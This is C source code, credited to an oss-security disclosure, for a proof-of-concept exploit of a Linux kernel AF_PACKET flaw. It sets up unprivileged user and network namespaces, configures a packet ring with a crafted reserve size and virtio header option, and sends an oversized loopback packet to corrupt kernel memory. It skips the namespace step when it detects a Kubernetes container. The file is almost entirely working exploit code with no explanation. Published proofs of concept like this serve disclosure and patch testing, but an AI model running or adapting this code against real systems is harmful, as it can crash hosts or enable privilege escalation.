/* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_unshare() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWNET)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } } void prep() { cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } } void packet_socket_send(int s, char *buffer, int size) { struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_halen = ETH_ALEN; if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("[-] sendto(SOCK_RAW)"); exit(EXIT_FAILURE); } } void loopback_send(char *buffer, int size) { int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("[-] socket(SOCK_RAW)"); exit(EXIT_FAILURE); } packet_socket_send(s, buffer, size); } int main(int argc, char **argv) { int skip_unshare = 0; struct stat stbuf; if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0) skip_unshare = 1; else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0) skip_unshare = 1; if (!skip_unshare) setup_unshare(); prep(); int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) ); if (s < 0) { perror("socket"); return 1; } int v = TPACKET_V2; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("setsockopt(PACKET_VERSION)\n"); return 1; } v = 1; rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v)); if (rv < 0) { perror("setsockopt(PACKET_VNET_HDR)\n"); return 1; } v = 0xffff - 20 - 0x30 -7; rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v)); if (rv < 0) { perror("setsockopt(PACKET_RESERVE)\n"); return 1; } struct tpacket_req req; memset(&req, 0, sizeof(req)); req.tp_block_size = 0x800000; req.tp_frame_size = 0x11000; req.tp_block_nr = 1; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { perror("[-] setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); } struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind(AF_PACKET)"); exit(EXIT_FAILURE); } uint32_t size = 0x80000/8; char* buf = malloc(size); if(!buf) { perror("malloc\n"); exit(EXIT_FAILURE); } memset(buf,0xce,size); loopback_send(buf,size); return 0; }